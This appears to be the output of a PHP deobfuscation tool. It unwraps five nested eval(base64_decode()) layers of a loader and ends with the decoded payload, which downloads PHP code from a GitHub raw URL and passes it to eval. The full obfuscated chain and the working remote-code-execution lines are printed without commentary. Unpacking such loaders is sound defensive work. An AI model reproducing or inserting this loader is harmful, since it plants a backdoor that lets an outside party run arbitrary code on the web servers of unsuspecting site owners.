Decrypted code level 1:

eval("".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2lQejRpTG1KaGMyVTJORjlrWldOdlpHVW9JbEJFT1hkaFNFRm5XbGhhYUdKRFoybFFlalJwVEcxS2FHTXlWVEpPUmpscldsZE9kbHBIVlc5SmJFSkZUMWhrYUZORlJtNVhiR2hoWVVkS1JGb3liRkZsYWxKd1ZFY3hTMkZIVFhsV1ZFcFBVbXBzY2xkc1pFOWtiSEJJVmxjNVNtSkZTa1pVTVdocllVWk9SbEpyT1ZKTmJYaFVXa1JHYzFkV1ZuUlBWWEJUVWtWS2RWVXhZM2hpTURGSVZXdHNVbUp1UWxGWlZsSnZUV3hyZVUxVlpFNU5TR2d3VjJ0b1EyRXhTWGxhTTJoWVZucFdXRnBYZUhkWFZrNTBZMGRzVG1Gc1ZqTldNbmhxVFZVeFJtVklVbFZpYkhCd1ZsaHdjMk5HYkhGVWF6bHNZa2hDV2xWWGNFTmhiRVkyVW1wYVlWSjZSbkZhUnpGSFUwWmFjVlpyTVU1TlNFSjZWakl3TVZSdFVuUlNhMmhYWWxkb2FGVXdWWGhOYkd4eldrVmthbEl3Y0hkVU1XUjNZVlpKZDFkcVdscGxhelZ5V1RCa1UxTkhSa1ZSYld4T1RVUlNNMWRVU1hoak1sSlhZMFJXVDFkSFVtOVZNRlpIWTBaUmVsa3paRlJOU0VKSlZrYzFZVmxXU1hoV2JUVldVbXMxUkZrd1pFdFhWa1oxVkcxc1RtSkZjSHBWZWtKUFlXMUtjbVZGVWxKaVZFWnZWbXBPYjJNeFRYZFViRTVyVFZkNFdsWlhNRFZVUmxWNVkzcE9VMUpyV2pOWmEyUlRaRVpLZFZScmVGSk5SM1F5VmxWa2MxTnNiM2RsU0VKU1ZqTlNZVlJYY0hOamJHUnpWRzVLVDAxR1NsTlpibXMxVlZad05rMUViRXBoVjNSM1ZETnNRa3d4UW01UVZEQnBTMU5yTjBsRU9Dc2lLU2s3SUQ4KyIpKTsgPz4="));

Decrypted code level 2:

eval("".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2lQejRpTG1KaGMyVTJORjlrWldOdlpHVW9JbEJFT1hkaFNFRm5XbGhhYUdKRFoybFFlalJwVEcxS2FHTXlWVEpPUmpscldsZE9kbHBIVlc5SmJFSkZUMWhrYUZORlJrOVJNbXhUWkRGc1dWVnRPVXBTUkVKdVUxY3hiMDFIVWtsUmJuQlFZVlJvTWxreU1VZE5NSGgwV2toQ2ExSXlaM2hYVnpWWFpXeHdXVk50Y0dsTmFsVjNWMnhqTVUxRmVIUlVibHBwVlhwc2NGbHFUazlsYkhCWlVXcENhbEY2UmpaYVJ6RnFaRzFHU0ZacVZrMU5NSEJ6VjIwMVRtUnRSa2hXYldoaFUwVXhNbGxzWkVkalIwcHdUMWR3YVZJd1dqWlplazVyWTBkU1NHRkVRbWxOTURSM1dUSXhjMlJXY0RWT1dHUm9VMFZHY0ZRelkzZFRNSEJJVkc1YVlWSXhWbTVWUms1RFkwZEtXVkZ1VG1sTmJFcHpVekJPYW1KcmVFUlJiVEZvVmpOb2MxTXdUbE5rTVd4WlZXMDVURlV5Y3pOU1JrWjNZa2RTZEZKdVRreFJNR3QyVlVkc1Nsb3dlSEJSVjNSYVRXcHNjbGRzVG5KT01GSlNZbms1VVZwNk1EbEphV3R3VDNsQkwxQm5QVDBpS1NrN0lEOCsiKSk7ID8+"));

Decrypted code level 3:

eval("".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFnWlhaaGJDZ2lQejRpTG1KaGMyVTJORjlrWldOdlpHVW9JbEJFT1hkaFNFRk9RMmxTZDFsWVVtOUpSREJuU1cxb01HUklRbnBQYVRoMlkyMUdNMHh0WkhCa1IyZ3hXVzVXZWxwWVNtcGlNalV3V2xjMU1FeHRUblppVXpscFlqTk9lbHBZUWpCalF6RjZaRzFqZG1GSFZqVk1NMHBzV201TmRtRkhWbWhhU0UxMllsZEdjR0pwT1dwaVIwWjZZek5rY0dSSGFEQmlNMDR3WTIxc2RWcDVOWGRoU0VGcFQzY3dTMHBIVG5aYVIxVm5VRk5DY0dKWVFuTmlNbEpzUzBOamJreERRbTFoVjNoc1MwTlNkMWxZVW05TFUyczNSRkZ3YkdSdFJuTkxRMGt2VUdsSloweHBRV3RaTWpscldsTnJOMFJSYnk5UVp6MDlJaWtwT3lBL1BnPT0iKSk7ID8+"));

Decrypted code level 4:

eval("".base64_decode("PD9waHAgZXZhbCgiPz4iLmJhc2U2NF9kZWNvZGUoIlBEOXdhSEFOQ2lSd1lYUm9JRDBnSW1oMGRIQnpPaTh2Y21GM0xtZHBkR2gxWW5WelpYSmpiMjUwWlc1MExtTnZiUzlpYjNOelpYQjBjQzF6ZG1jdmFHVjVMM0psWm5NdmFHVmhaSE12YldGcGJpOWpiR0Z6YzNkcGRHaDBiM04wY21sdVp5NXdhSEFpT3cwS0pHTnZaR1VnUFNCcGJYQnNiMlJsS0NjbkxDQm1hV3hsS0NSd1lYUm9LU2s3RFFwbGRtRnNLQ0kvUGlJZ0xpQWtZMjlrWlNrN0RRby9QZz09IikpOyA/Pg=="));

Decrypted code level 5:

eval("".base64_decode("PD9waHANCiRwYXRoID0gImh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9ib3NzZXB0cC1zdmcvaGV5L3JlZnMvaGVhZHMvbWFpbi9jbGFzc3dpdGh0b3N0cmluZy5waHAiOw0KJGNvZGUgPSBpbXBsb2RlKCcnLCBmaWxlKCRwYXRoKSk7DQpldmFsKCI/PiIgLiAkY29kZSk7DQo/Pg=="));

$path = "https://raw.githubusercontent.com/bosseptp-svg/hey/refs/heads/main/classwithtostring.php";
$code = implode('', file($path));
eval("" . $code);